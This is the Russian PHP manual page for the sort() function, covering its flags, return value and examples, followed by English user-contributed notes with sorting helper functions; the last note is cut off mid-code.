sort(array &$array, int $flags = SORT_REGULAR): true

Сортирует array по значению в порядке возрастания.

Замечание:

Функция сохраняет первоначальный порядок элементов, если при сравнении значения двух элементов равны. До PHP 8.0.0 порядок элементов в отсортированном массиве оставался неопределённым.

Замечание: Эта функция присваивает новые ключи элементам array. Она удалит все существующие ключи, а не просто переупорядочит их.

Замечание:

Функция сбрасывает внутренний указатель массива на первый элемент.

Список параметров

array

Входной массив.

flags

Необязательный второй параметр flags изменяет поведение сортировки и может принимать следующие значения:

Флаги типов сортировки:

  • SORT_REGULAR — обычное сравнение элементов; подробности описаны в разделе операторы сравнения
  • SORT_NUMERIC — числовое сравнение элементов
  • SORT_STRING — строковое сравнение элементов
  • SORT_LOCALE_STRING — сравнение элементов как строк на основе текущего языкового стандарта. Флаг использует языковой стандарт, который можно изменить функцией setlocale()
  • SORT_NATURAL — сравнение элементов как строки, используя "естественный порядок", например natsort()
  • SORT_FLAG_CASE — можно объединять (побитовое ИЛИ) с SORT_STRING или SORT_NATURAL для сортировки строк без учёта регистра

Возвращаемые значения

Функция всегда возвращает true.

Список изменений

Версия | Описание
8.2.0 | Тип возвращаемого значения теперь true; ранее было bool.

Примеры

Пример #1 Пример использования sort()

<?php

$fruits = array("lemon", "orange", "banana", "apple");
sort($fruits);
foreach ($fruits as $key => $val) {
echo "fruits[" . $key . "] = " . $val . "\n";
}

?>

Результат выполнения приведённого примера:

fruits[0] = apple
fruits[1] = banana
fruits[2] = lemon
fruits[3] = orange

Фрукты отсортированы в алфавитном порядке.

Пример #2 Пример использования sort() с регистронезависимым естественным упорядочением

<?php

$fruits = array(
"Orange1", "orange2", "Orange3", "orange20"
);
sort($fruits, SORT_NATURAL | SORT_FLAG_CASE);
foreach ($fruits as $key => $val) {
echo "fruits[" . $key . "] = " . $val . "\n";
}

?>

Результат выполнения приведённого примера:

fruits[0] = Orange1
fruits[1] = orange2
fruits[2] = Orange3
fruits[3] = orange20

Фрукты были отсортированы аналогично функции natcasesort().

Примечания

Замечание: Как и большинство функций сортировки в PHP, sort() использует реализацию алгоритма » быстрой сортировки. Основной элемент выбирается из середины сортируемой части, достигая таким образом оптимального времени для уже отсортированных массивов. Следует иметь в виду, что это является деталью реализации и не следует на неё полагаться.

Внимание

Будьте осторожны при сортировке массивов, содержащих элементы разных типов, так как в этом случае результат работы функции sort() может быть неожиданным, если параметр flags равен SORT_REGULAR.

Смотрите также

  • rsort() - Сортирует массив в порядке убывания
  • Сравнение функций сортировки массивов

User Contributed Notes

aminkhoshzahmat at gmail dot com 01-Jun-2020 07:02
Let's say we have a list of names, and it is not sorted.

<?php

$names = array('Amin', 'amir', 'sarah', 'Somayeh', 'armita', 'Armin');

sort($names); // simple alphabetical sort
print_r($names);
?>
Result is :
Array
(
    [0] => Amin
    [1] => Armin
    [2] => Somayeh // actually it's not sort alphabetically from here!
    [3] => amir         // comparison is based on ASCII values.
    [4] => armita
    [5] => sarah
)

If you want to sort alphabeticaly no matter it is upper or lower case:

<?php

sort($names, SORT_STRING | SORT_FLAG_CASE);
print_r($names);
?>

Result is:
Array
(
    [0] => Amin
    [1] => amir
    [2] => Armin
    [3] => armita
    [4] => sarah
    [5] => Somayeh
)
Md. Abutaleb 25-Feb-2020 12:28
<?php
/*
As I found the sort() function normally works as ascending order based on the following priority :
1. NULL
2. Empty
3. Boolean FALSE
4. String
5. Float
6. Int
7. Array
8. Object

Consider the following array:
*/

$a = ['fruit'=> 'apple', 'A' => 10, 20, 5, 2.5, 5=>'A new value', 'last' => 'value', TRUE, NULL, "", FALSE, array(), new StdClass];
sort($a);
var_dump($a);

#The output is:

array(13) {
  [0]=>NULL
  [1]=> string(0) ""
  [2]=>bool(false)
  [3]=>string(11) "A new value"
  [4]=>string(5) "apple"
  [5]=>string(5) "value"
  [6]=> float(2.5)
  [7]=> int(5)
  [8]=>int(10)
  [9]=>int(20)
  [10]=>array(0) { }
  [11]=> bool(true)
  [12]=>object(stdClass)#1 (0) {}
}

//Hope it will remove your confusion when you're sorting an array with mix type data.
?>
r at rcse dot de 23-Dec-2018 10:15
Here is no word about sorting UTF-8 strings by any collation. This should not be so uncommon?
Abhishek Banerjee 08-Jun-2016 07:39
EDIT: To the original note by "phpdotnet at m4tt dot co dot uk"
Use array_push instead of $new_array[$k] for some reason it was
giving me string indexes.

Simple function to sort an array by a specific key. Maintains index association.

<?php

function array_sort($array, $on, $order=SORT_ASC)
{
    $new_array = array();
    $sortable_array = array();

    if (count($array) > 0) {
        foreach ($array as $k => $v) {
            if (is_array($v)) {
                foreach ($v as $k2 => $v2) {
                    if ($k2 == $on) {
                        $sortable_array[$k] = $v2;
                    }
                }
            } else {
                $sortable_array[$k] = $v;
            }
        }

        switch ($order) {
            case SORT_ASC:
                asort($sortable_array);
            break;
            case SORT_DESC:
                arsort($sortable_array);
            break;
        }

        foreach ($sortable_array as $k => $v) {
            array_push($new_array, $array[$k]);
        }
    }

    return $new_array;
}

$people = array(
    12345 => array(
        'id' => 12345,
        'first_name' => 'Joe',
        'surname' => 'Bloggs',
        'age' => 23,
        'sex' => 'm'
    ),
    12346 => array(
        'id' => 12346,
        'first_name' => 'Adam',
        'surname' => 'Smith',
        'age' => 18,
        'sex' => 'm'
    ),
    12347 => array(
        'id' => 12347,
        'first_name' => 'Amy',
        'surname' => 'Jones',
        'age' => 21,
        'sex' => 'f'
    )
);

print_r(array_sort($people, 'age', SORT_DESC)); // Sort by oldest first
print_r(array_sort($people, 'surname', SORT_ASC)); // Sort by surname

/*
Array
(
    [12345] => Array
        (
            [id] => 12345
            [first_name] => Joe
            [surname] => Bloggs
            [age] => 23
            [sex] => m
        )

    [12347] => Array
        (
            [id] => 12347
            [first_name] => Amy
            [surname] => Jones
            [age] => 21
            [sex] => f
        )

    [12346] => Array
        (
            [id] => 12346
            [first_name] => Adam
            [surname] => Smith
            [age] => 18
            [sex] => m
        )

)
Array
(
    [12345] => Array
        (
            [id] => 12345
            [first_name] => Joe
            [surname] => Bloggs
            [age] => 23
            [sex] => m
        )

    [12347] => Array
        (
            [id] => 12347
            [first_name] => Amy
            [surname] => Jones
            [age] => 21
            [sex] => f
        )

    [12346] => Array
        (
            [id] => 12346
            [first_name] => Adam
            [surname] => Smith
            [age] => 18
            [sex] => m
        )

)
*/

?>
aditycse at gmail dot com 07-Aug-2015 10:34
/*
 * Name : Aditya Mehrotra
 * Email: aditycse@gmail.com
 */
//Example for sorting by values for an alphanumeric array also having case-sensitive data
$exampleArray1 = $exampleArray2 = array(
    0 => 'example1',
    1 => 'Example10',
    2 => 'example12',
    3 => 'Example2',
    4 => 'example3',
    5 => 'EXAMPLE10',
    6 => 'example10'
);

//default sorting
asort($exampleArray1);

// alphanumeric with case-sensitive data sorting by values
asort($exampleArray2, SORT_STRING | SORT_FLAG_CASE | SORT_NATURAL);

//output of defaut sorting
print_r($exampleArray1);
/*
 * output of default sorting
  Array
  (
  [5] => EXAMPLE10
  [1] => Example10
  [3] => Example2
  [0] => example1
  [6] => example10
  [2] => example12
  [4] => example3
  )
 */

print_r($exampleArray2);
/*
 * output of alphanumeric with case-sensitive data sorting by values
 Array
(
    [0] => example1
    [3] => Example2
    [4] => example3
    [5] => EXAMPLE10
    [1] => Example10
    [6] => example10
    [2] => example12
)
 */
williamprogphp at[pleaseNOTSPAM] yahoo d 20-Dec-2013 12:15
In order to make some multidimensional quick sort implementation, take advantage of this stuff

<?php
        function quickSortMultiDimensional($array, $chave) {
            if( count( $array ) < 2 ) {
                return $array;
            }
            $left = $right = array( );
            reset( $array );
            $pivot_key    = key( $array );
            $pivot    = array_shift( $array );
            foreach( $array as $k => $v ) {
                if( $v[$chave] < $pivot[$chave] )
                        $left[$k][$chave] = $v[$chave];
                else
                        $right[$k][$chave] = $v[$chave];
            }
            return array_merge(
                                    quickSortMultiDimensional($left, $chave),
                                    array($pivot_key => $pivot),
                                    quickSortMultiDimensional($right, $chave)
            );
        }
?>

I make it using the idea from pageconfig dot com

tks for viewing
me[ at ]szczepan[ dot ]info 27-Dec-2012 12:36
Sorting the keys, but keep the values in order is not possible by just ordering, because it would result in a new array. This is also the solution: Create a new array

<?php
$a = array(9=>"a",8=>"c",5=>"d");

$keys = array_keys($a);
sort($keys);
$result = array_combine($keys, array_values($a));

//Result : array(5=>"a",8=>"c",9=>"d");
?>
Walter Tross 16-Dec-2011 02:38
unless you specify the second argument, "regular" comparisons will be used. I quote from the page on comparison operators:
"If you compare a number with a string or the comparison involves numerical strings, then each string is converted to a number and the comparison performed numerically."
What this means is that "10" < "1a", and "1a" < "2", but "10" > "2". In other words, regular PHP string comparisons are not transitive.
This implies that the output of sort() can in rare cases depend on the order of the input array:
<?php
function echo_sorted($a)
{
   echo "{$a[0]} {$a[1]} {$a[2]}";
   sort($a);
   echo " => {$a[0]} {$a[1]} {$a[2]}\n";
}
// on PHP 5.2.6:
echo_sorted(array( "10", "1a", "2")); // => 10 1a 2
echo_sorted(array( "10", "2", "1a")); // => 1a 2 10
echo_sorted(array( "1a", "10", "2")); // => 2 10 1a
echo_sorted(array( "1a", "2", "10")); // => 1a 2 10
echo_sorted(array( "2", "10", "1a")); // => 2 10 1a
echo_sorted(array( "2", "1a", "10")); // => 10 1a 2
?>
ajanata at gmail dot com 20-Oct-2011 09:13
This took me longer than it should have to figure out, but if you want the behavior of sort($array, SORT_STRING) (that is, re-indexing the array unlike natcasesort) in a case-insensitive manner, it is a simple matter of doing usort($array, strcasecmp).
alex dot hristov dot 88 at gmail dot com 16-Jun-2011 07:26
As some people have mentioned before sorting a multidimentional array can be a bit tricky. it took me quite a while to get it going but it works as a charm:

<?php
//$order has to be either asc or desc
 function sortmulti ($array, $index, $order, $natsort=FALSE, $case_sensitive=FALSE) {
        if(is_array($array) && count($array)>0) {
            foreach(array_keys($array) as $key)
            $temp[$key]=$array[$key][$index];
            if(!$natsort) {
                if ($order=='asc')
                    asort($temp);
                else
                    arsort($temp);
            }
            else
            {
                if ($case_sensitive===true)
                    natsort($temp);
                else
                    natcasesort($temp);
            if($order!='asc')
                $temp=array_reverse($temp,TRUE);
            }
            foreach(array_keys($temp) as $key)
                if (is_numeric($key))
                    $sorted[]=$array[$key];
                else
                    $sorted[$key]=$array[$key];
            return $sorted;
        }
    return $sorted;
}
?>
cmarshall at gmx dot de 17-May-2011 03:10
I read up on various problems re: sort() and German Umlaut chars and my head was soon spinning - bug in sort() or not, solution via locale or not, etc. ... (a total newbie here).

The obvious solution for me was quick and dirty: transform the Umlaut chars (present as HTML codes in my case) to their normal equivalent ('a' = 'ae', 'o' = 'oe', 'u' = 'ue', '?' = 'ss' etc.), sort the array, then transform back. However there are cases in which a 'Mueller' is really that and does NOT need to be transformed into 'Muller' afterwards. Hence I for example replace the Umlaut itself with it's normal equivalent plus a char not used in the string otherwise (e.g. '_') so that the transfer back to Umlaut would only take place on certain combinations.

Of course any other char instead of '_' can be used as additional char (influencing the sort result). I know that my solution is rough at the edges and may cause other sort problems but it was sufficient for my purpose.

The array '$dat' in this example was filled with German town names (I actually worked with a multiple array ('$dat[][]') but stripped the code down to this as it's easier to understand):

<?php
// START Pre-sorting (Umlaut -> normal letters)
$max = count($dat);
for($totcnt = 0; $totcnt < $max; $totcnt++){
   $dat[$totcnt]=str_replace('&szlig;','ss_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&Auml;','Ae_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&auml;','ae_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&Ouml;','Oe_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&ouml;','oe_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&Uuml;','Ue_',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('&uuml;','ue_',$dat[$totcnt]);
}
// END Pre-sorting (Umlaut -> normal letters)

// START Sorting //
function compare_towns($a, $b)
{
return strnatcmp($a, $b);
}
usort($dat, 'compare_towns');
// END Sorting //

// START Post-sorting (normal letters -> Umlaut)
for($totcnt = 0; $totcnt < $max; $totcnt++){
   $dat[$totcnt]=str_replace('ss_','&szlig;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('Ae_','&Auml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('ae_','&auml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('Oe_','&Ouml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('oe_','&ouml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('Ue_','&Uuml;',$dat[$totcnt]);
   $dat[$totcnt]=str_replace('ue_','&uuml;',$dat[$totcnt]);
}
// END Post-sorting (normal letters -> Umlaut)
?>
anaz114119 at gmail dot com 24-Dec-2010 02:34
sort from textfile by coloumn
example name||date||time||comments
if you want to sort by date
$column = 2
<?php
function array_sort($array,$column){
 $column = $column-1;
 foreach($array as $line){
 $bits = explode("||",$line);
 $bits ="$bits[$column]**$line";
 $array1[]=$bits;
}
 asort($array1);
 foreach($array1 as $line){
 $bit = explode("**",$line);
 $bit ="$bit[1]";
 $array2[]=$bit;
}
 return$array2;
}
?>
poulou_0 at hotmail dot com 21-Dec-2010 12:59
if you are not interested in high or low case sort

<?php
//where
$sortable_array[$k] = $v2;
//put
$sortable_array[$k] = strtolower($v2);

//and where
$sortable_array[$k] = $v;
//put
$sortable_array[$k] = strtolower($v);
?>
phpdotnet at m4tt dot co dot uk 16-Aug-2010 07:03
Simple function to sort an array by a specific key. Maintains index association.

<?php

function array_sort($array, $on, $order=SORT_ASC)
{
    $new_array = array();
    $sortable_array = array();

    if (count($array) > 0) {
        foreach ($array as $k => $v) {
            if (is_array($v)) {
                foreach ($v as $k2 => $v2) {
                    if ($k2 == $on) {
                        $sortable_array[$k] = $v2;
                    }
                }
            } else {
                $sortable_array[$k] = $v;
            }
        }

        switch ($order) {
            case SORT_ASC:
                asort($sortable_array);
            break;
            case SORT_DESC:
                arsort($sortable_array);
            break;
        }

        foreach ($sortable_array as $k => $v) {
            $new_array[$k] = $array[$k];
        }
    }

    return $new_array;
}

$people = array(
    12345 => array(
        'id' => 12345,
        'first_name' => 'Joe',
        'surname' => 'Bloggs',
        'age' => 23,
        'sex' => 'm'
    ),
    12346 => array(
        'id' => 12346,
        'first_name' => 'Adam',
        'surname' => 'Smith',
        'age' => 18,
        'sex' => 'm'
    ),
    12347 => array(
        'id' => 12347,
        'first_name' => 'Amy',
        'surname' => 'Jones',
        'age' => 21,
        'sex' => 'f'
    )
);

print_r(array_sort($people, 'age', SORT_DESC)); // Sort by oldest first
print_r(array_sort($people, 'surname', SORT_ASC)); // Sort by surname

/*
Array
(
    [12345] => Array
        (
            [id] => 12345
            [first_name] => Joe
            [surname] => Bloggs
            [age] => 23
            [sex] => m
        )

    [12347] => Array
        (
            [id] => 12347
            [first_name] => Amy
            [surname] => Jones
            [age] => 21
            [sex] => f
        )

    [12346] => Array
        (
            [id] => 12346
            [first_name] => Adam
            [surname] => Smith
            [age] => 18
            [sex] => m
        )

)
Array
(
    [12345] => Array
        (
            [id] => 12345
            [first_name] => Joe
            [surname] => Bloggs
            [age] => 23
            [sex] => m
        )

    [12347] => Array
        (
            [id] => 12347
            [first_name] => Amy
            [surname] => Jones
            [age] => 21
            [sex] => f
        )

    [12346] => Array
        (
            [id] => 12346
            [first_name] => Adam
            [surname] => Smith
            [age] => 18
            [sex] => m
        )

)
*/

?>
eriewave at hotmail dot com 29-Mar-2010 01:16
If you need to sort an array containing some equivalent values and you want the equivalents to end up next to each other in the overall order (similar to a MySQL's ORDER BY output), rather than breaking the function, do this:

<?php

sort($array, ksort($array))

?>

-When the sort() function finds two equivalents, it will sort them arbitrarily by their key #'s as a second parameter.

-Dirk
Brecht Cloetens 23-Nov-2009 03:57
<?php

/**
 * function: array_columns
 * author: Brecht Cloetens
 * params: $a = array() // original array
 *         $c = int() // number of columns
 */
function array_columns(&$a, $c=2)
{
    $m = ceil(count($a)/$c);
    $j = 0;
    for($i=0; $i<$m; $i++) {
        for($k=0; $k<$c; $k++) {
            $key = $i+($m*$k);
            settype($key,'integer');
            if(array_key_exists($key,$a)) {
                $b[$j] = $a[$key];
                $j++;
            }
        }
    }
    $a = $b;
}

$arr = range('a','z');
array_columns($arr,4);
print_r($arr);

?>

Example:
array(1,2,3,4,5) will be converted to array(1,4,2,5,3);

This can be easy if you want to display an array into a specified number of columns.

<table>
    <tr>
        <td>$arr[0] => 1</td>
        <td>$arr[1] => 4</td>
    </tr>
    <tr>
        <td>$arr[2] => 2</td>
        <td>$arr[3] => 5</td>
    </tr>
    <tr>
        <td>$arr[4] => 3</td>
        <td></td>
    </tr>
</table>
petr dot biza at gmail dot com 11-Sep-2009 06:29
Here is a function to sort an array by the key of his sub-array with keep key in top level.

<?php
function sksort(&$array, $subkey="id", $sort_descending=false, $keep_keys_in_sub = false) {
    $temp_array = $array;

    foreach ($temp_array as $key => &$value) {

      $sort = array();
      foreach ($value as $index => $val) {
          $sort[$index] = $val[$subkey];
      }

      asort($sort);

      $keys = array_keys($sort);
      $newValue = array();
      foreach ($keys as $index) {
        if($keep_keys_in_sub)
            $newValue[$index] = $value[$index];
          else
            $newValue[] = $value[$index];
      }

      if($sort_descending)
        $value = array_reverse($newValue, $keep_keys_in_sub);
      else
        $value = $newValue;
    }

    $array = $temp_array;
  }
?>
danm68 at gmail dot com 25-Aug-2009 09:59
sort() used with strings doesn't sort just alphabetically. It sorts all upper-case strings alphabetically first and then sorts lower-case strings alphabetically second.
Just in case anyone was as confused as I was and I've never seen this mentioned anywhere.
stepmuel at ee dot ethz dot ch 09-Dec-2008 08:14
A little shorter way to sort an array of objects; with a callback function.

<?php
function objSort(&$objArray,$indexFunction,$sort_flags=0) {
    $indices = array();
    foreach($objArray as $obj) {
        $indeces[] = $indexFunction($obj);
    }
    return array_multisort($indeces,$objArray,$sort_flags);
}

function getIndex($obj) {
    return $obj->getPosition();
}

objSort($objArray,'getIndex');
?>
www at designdetector dot com 09-Sep-2008 07:43
To sort an array of multiple text fields alphabetically you have to make the text lowercase before sorting the array. Otherwise PHP puts acronyms before words. You can see this in my example code. Simply store the original text field at the end of the array line and call it later from there. You can safely ignore the lowercase version which is added to the start of the array line.

<?php
echo '<pre>ORIGINAL DATA:
<br />';

$data = array(
'Saturn|7|8|9|0||',
'Hello|0|1|2|3||',
'SFX|5|3|2|4||',
'HP|9|0|5|6||'
);

print_r($data);

sort($data);
reset($data);

echo '<br />RAW SORT:
<br />';

print_r($data);

for ($c = 0; $c < count($data); $c++) {
    list ($letter,$g1,$g2,$g3,$g4,$end) = explode ('|', $data[$c]);
    $lowercase = strtolower($letter);
    $data2[$c] = array($lowercase,$g1,$g2,$g3,$g4,$letter);
}

sort($data2);
reset($data2);

echo '<br />LOWERCASE SORT:
<br />';

print_r($data2);

echo '</pre>';
?>
matpatnik at hotmail dot com 23-Jan-2008 03:46
This function will sort entity letters eg:&eacute;

I hope that help someone

function sort_entity($array) {
    $total = count($array);
    for ($i=0;$i<$total;$i++) {
        if ($array[$i]{0} == '&') {
            $array[$i] = $array[$i]{1}.$array[$i];
        } else {
            $array[$i] = $array[$i]{0}.$array[$i];
        }
    }
    sort($array);

    for ($i=0;$i<$total;$i++) {
        $array[$i] = substr($array[$i],1);
    }

    return $array;
}
sinan at sinaneldem dot com 23-Jun-2007 08:29
here is little script which will merge arrays, remove duplicates and sort it by alphabetical order:

<?php

$array1 = array('apple', 'banana','pear');
$array2 = array('grape', 'pear','orange');

function array_unique_merge_sort($array1, $array2){
$array = array_unique(array_merge($array1, $array2));
sort($array);
foreach ($array as $key => $value) {
    $new[$key] = $value;
}
return $new;
}

print_r (array_unique_merge_sort($array1, $array2));

?>

this will print out:

Array ( [0] => apple [1] => banana [2] => grape [3] => orange [4] => pear )
alishahnovin at hotmail dot com 25-May-2007 04:11
I had a multidimensional array, which needed to be sorted by one of the keys. This is what I came up with...

<?php
function msort($array, $id="id") {
        $temp_array = array();
        while(count($array)>0) {
            $lowest_id = 0;
            $index=0;
            foreach ($array as $item) {
                if ($item[$id]<$array[$lowest_id][$id]) {
                    $lowest_id = $index;
                }
                $index++;
            }
            $temp_array[] = $array[$lowest_id];
            $array = array_merge(array_slice($array, 0,$lowest_id), array_slice($array, $lowest_id+1));
        }
        return $temp_array;
    }
?>

Ex:

<?php

//oh no, this is not in the ordered by id!!
$data[] = array("item"=>"item 4", "id"=>4);
$data[] = array("item"=>"item 1", "id"=>1);
$data[] = array("item"=>"item 3", "id"=>3);
$data[] = array("item"=>"item 2", "id"=>2);

var_dump(  msort($data)  ); //just msort it!

/* outputs

array
  0 =>
    array
      'item' => 'item 1' (length=6)
      'id' => 1
  1 =>
    array
      'item' => 'item 2' (length=6)
      'id' => 2
  2 =>
    array
      'item' => 'item 3' (length=6)
      'id' => 3
  3 =>
    array
      'item' => 'item 4' (length=6)
      'id' => 4

*/

?>
joris at mangrove dot nl 01-Feb-2007 05:40
Commenting on note http://www.php.net/manual/en/function.sort.php#62311 :

Sorting an array of objects will not always yield the results you desire.

As pointed out correctly in the note above, sort() sorts the array by value of the first member variable. However, you can not always assume the order of your member variables! You must take into account your class hierarchy!

By default, PHP places the inherited member variables on top, meaning your first member variable is NOT the first variable in your class definition!
However, if you use code analyzers or a compile cache, things can be very different. E.g., in eAccelerator, the inherited member variables are at the end, meaning you get different sort results with caching on or off.

Conclusion:
Never use sort on arrays with values of a type other than scalar or array.
alex [at] vkpb [dot] com 26-Jan-2007 03:36
Sorting of an array by a method of inserts.

<?

       function sortByField($multArray,$sortField,$desc=true){
            $tmpKey='';
            $ResArray=array();

            $maIndex=array_keys($multArray);
            $maSize=count($multArray)-1;

            for($i=0; $i < $maSize ; $i++) {

               $minElement=$i;
               $tempMin=$multArray[$maIndex[$i]][$sortField];
               $tmpKey=$maIndex[$i];

                for($j=$i+1; $j <= $maSize; $j++)
                  if($multArray[$maIndex[$j]][$sortField] < $tempMin ) {
                     $minElement=$j;
                     $tmpKey=$maIndex[$j];
                     $tempMin=$multArray[$maIndex[$j]][$sortField];

                  }
                  $maIndex[$minElement]=$maIndex[$i];
                  $maIndex[$i]=$tmpKey;
            }

           if($desc)
               for($j=0;$j<=$maSize;$j++)
                  $ResArray[$maIndex[$j]]=$multArray[$maIndex[$j]];
           else
              for($j=$maSize;$j>=0;$j--)
                  $ResArray[$maIndex[$j]]=$multArray[$maIndex[$j]];

           return $ResArray;
       }

// make array
$array['aaa']=array("name"=>"vasia","order"=>1);
$array['bbb']=array("name"=>"petia","order"=>2);
$array['ccc']=array("name"=>"kolia","order"=>3);
$array['ddd']=array("name"=>"zenia","order"=>4);

// set sort
$SortOrder=0; // desc by default , 1- asc

var_dump(sortByField($array,'order',$SortOrder));

array
  'ddd' =>
    array
      'name' => 'zenia' (length=5)
      'order' => 4
  'aaa' =>
    array
      'name' => 'vasia' (length=5)
      'order' => 1
  'bbb' =>
    array
      'name' => 'petia' (length=5)
      'order' => 2
  'ccc' =>
    array
      'name' => 'kolia' (length=5)
      'order' => 3

?>
g8z at yahoo dot com 14-Jul-2006 04:28
<?php
/**
This sort function allows you to sort an associative array while "sticking" some fields.

$sticky_fields = an array of fields that should not be re-sorted. This is a method of achieving sub-sorts within contiguous groups of records that have common data in some fields.

For example:

$a = array();

$a []= array(
    'name'         => 'Sam',
    'age'         => 23,
    'hire_date'    => '2004-01-01'
);
$a []= array(
    'name'        => 'Sam',
    'age'        => 44,
    'hire_date'    => '2003-03-23'
);
$a []= array(
    'name'        => 'Jenny',
    'age'        => 20,
    'hire_date' => '2000-12-31'
);
$a []= array(
    'name'        => 'Samantha',
    'age'        => 50,
    'hire_date' => '2000-12-14'
);

$sticky_fields = array( 'name' );
print_r( stickysort( $a, 'age', DESC_NUM, $sticky_fields ) );

OUTPUT:

Array
(
    [0] => Array
        (
            [name] => Sam
            [age] => 44
            [hire_date] => 2003-03-23
        )
    [1] => Array
        (
            [name] => Sam
            [age] => 23
            [hire_date] => 2004-01-01
        )
    [2] => Array
        (
            [name] => Jenny
            [age] => 20
            [hire_date] => 2000-12-31
        )
    [3] => Array
        (
            [name] => Samantha
            [age] => 50
            [hire_date] => 2000-12-14
        )
)

Here's why this is the correct output - the "name" field is sticky, so it cannot change its sort order. Thus, the "age" field is only sorted as a sub-sort within records where "name" is identical. Thus, the "Sam" records are reversed, because 44 > 23, but Samantha remains at the bottom, even though her age is 50. This is a way of achieving "sub-sorts" and "sub-sub-sorts" (and so on) within records of identical data for specific fields.

Courtesy of the $5 Script Archive: http://www.tufat.com
**/

define( 'ASC_AZ', 1000 );
define( 'DESC_AZ', 1001 );
define( 'ASC_NUM', 1002 );
define( 'DESC_NUM', 1003 );

function stickysort( $arr, $field, $sort_type, $sticky_fields = array() ) {
    $i = 0;
    foreach ($arr as $value) {
        $is_contiguous = true;
        if(!empty($grouped_arr)) {
            $last_value = end($grouped_arr[$i]);

            if(!($sticky_fields == array())) {
                foreach ($sticky_fields as $sticky_field) {
                    if ($value[$sticky_field] <> $last_value[$sticky_field]) {
                        $is_contiguous = false;
                        break;
                    }
                }
            }
        }
        if ($is_contiguous)
            $grouped_arr[$i][] = $value;
        else
            $grouped_arr[++$i][] = $value;
    }
    $code = '';
    switch($sort_type) {
        case ASC_AZ:
            $code .= 'return strcasecmp($a["'.$field.'"], $b["'.$field.'"]);';
            break;
        case DESC_AZ:
            $code .= 'return (-1*strcasecmp($a["'.$field.'"], $b["'.$field.'"]));';
            break;
        case ASC_NUM:
            $code .= 'return ($a["'.$field.'"] - $b["'.$field.'"]);';
            break;
        case DESC_NUM:
            $code .= 'return ($b["'.$field.'"] - $a["'.$field.'"]);';
            break;
    }

    $compare = create_function('$a, $b', $code);

    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        usort ( $grouped_arr[$grouped_arr_key], $compare );

    $arr = array();
    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        foreach($grouped_arr[$grouped_arr_key] as $grouped_arr_arr_key=>$grouped_arr_arr_value)
            $arr[] = $grouped_arr[$grouped_arr_key][$grouped_arr_arr_key];

    return $arr;
}
?>
g8z at yahoo dot com 10-Jul-2006 08:58
<?php
/**
This sort function allows you to sort an associative array while "sticking" some fields.

$sticky_fields = an array of fields that should not be re-sorted. This is a method of achieving sub-sorts within contiguous groups of records that have common data in some fields.

Courtesy of the $5 Script Archive: http://www.tufat.com
**/

define( 'ASC_AZ', 1000 );
define( 'DESC_AZ', 1001 );
define( 'ASC_NUM', 1002 );
define( 'DESC_NUM', 1003 );

function stickysort( $arr, $field, $sort_type, $sticky_fields = array() ) {
    $i = 0;
    foreach ($arr as $value) {
        $is_contiguous = true;
        if(!empty($grouped_arr)) {
            $last_value = end($grouped_arr[$i]);

            if(!($sticky_fields == array())) {
                foreach ($sticky_fields as $sticky_field) {
                    if ($value[$sticky_field] <> $last_value[$sticky_field]) {
                        $is_contiguous = false;
                        break;
                    }
                }
            }
        }
        if ($is_contiguous)
            $grouped_arr[$i][] = $value;
        else
            $grouped_arr[++$i][] = $value;
    }
    $code = '';
    switch($sort_type) {
        case ASC_AZ:
            $code .= 'return strcasecmp($a["'.$field.'"], $b["'.$field.'"]);';
            break;
        case DESC_AZ:
            $code .= 'return (-1*strcasecmp($a["'.$field.'"], $b["'.$field.'"]));';
            break;
        case ASC_NUM:
            $code .= 'return ($a["'.$field.'"] - $b["'.$field.'"]);';
            break;
        case DESC_NUM:
            $code .= 'return ($b["'.$field.'"] - $a["'.$field.'"]);';
            break;
    }

    $compare = create_function('$a, $b', $code);

    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        usort ( $grouped_arr[$grouped_arr_key], $compare );

    $arr = array();
    foreach($grouped_arr as $grouped_arr_key=>$grouped_arr_value)
        foreach($grouped_arr[$grouped_arr_key] as $grouped_arr_arr_key=>$grouped_arr_arr_value)
            $arr[] = $grouped_arr[$grouped_arr_key][$grouped_arr_arr_key];

    return $arr;
}
?>
Emiliyan at ServicesBG dot Com 28-Mar-2006 07:41
#This is a function that will sort an array...
function sort_by($array,  $keyname = null, $sortby) {
   $myarray = $inarray = array();
   # First store the keyvalues in a seperate array
    foreach ($array as $i => $befree) {
        $myarray[$i] = $array[$i][$keyname];
    }
   # Sort the new array by
    switch ($sortby) {
    case 'asc':
    # Sort an array and maintain index association...
    asort($myarray);
    break;
    case 'arsort':
    # Sort an array in reverse order and maintain index association
    arsort($myarray);
    break;
    case 'natcasesor':
    # Sort an array using a case insensitive "natural order" algorithm
    natcasesort($myarray);
    break;
    }
    # Rebuild the old array
    foreach ( $myarray as $key=> $befree) {
       $inarray[$key] = $array[$key];
    }
    return $inarray;
}
sort_by(); example...
$info = sort_by($myarray, 'name', $use = 'asc');
print_r($info);
jesper at snt dot utwente dot nl 24-Feb-2006 01:26
If you sort an array of objects, the first variable in the object will be used for sorting:

<?php
class foo
{
  var $value; //First variable: Used for sorting
  var $id;

  function foo($i, $v)
  {
     $this->id = $i;
     $this->value = $v;
  }

}

for ($i = 0; $i < 10; $i++)
{
  $bar[] = new foo($i,rand(1,10));
}

// This will sort on value
sort($bar);
print_r($bar);
?>

Compare the piece of code above with the following:

<?php
class foo
{
  var $id; //First variable: Used for sorting
  var $value;

  function foo($i, $v)
  {
     $this->id = $i;
     $this->value = $v;
  }

}

for ($i = 0; $i = 10; $i++)
{
  $bar[] = new foo($i,rand(1,10));
}

// This will sort on id
sort($bar);
print_r($bar);
?>

As you can see the location of declaration of the variables matter!
If you want to sort on both or on a combination of variables, use ksort()
nm at thenoodleman dot com 30-Jan-2006 05:18
Faster, more effective function:

array_sort (array, ['asc'/'desc'])

Second parameter specifies whether to order ascending or descending. Default is ascending.

function array_sort($array, $type='asc'){
    $result=array();
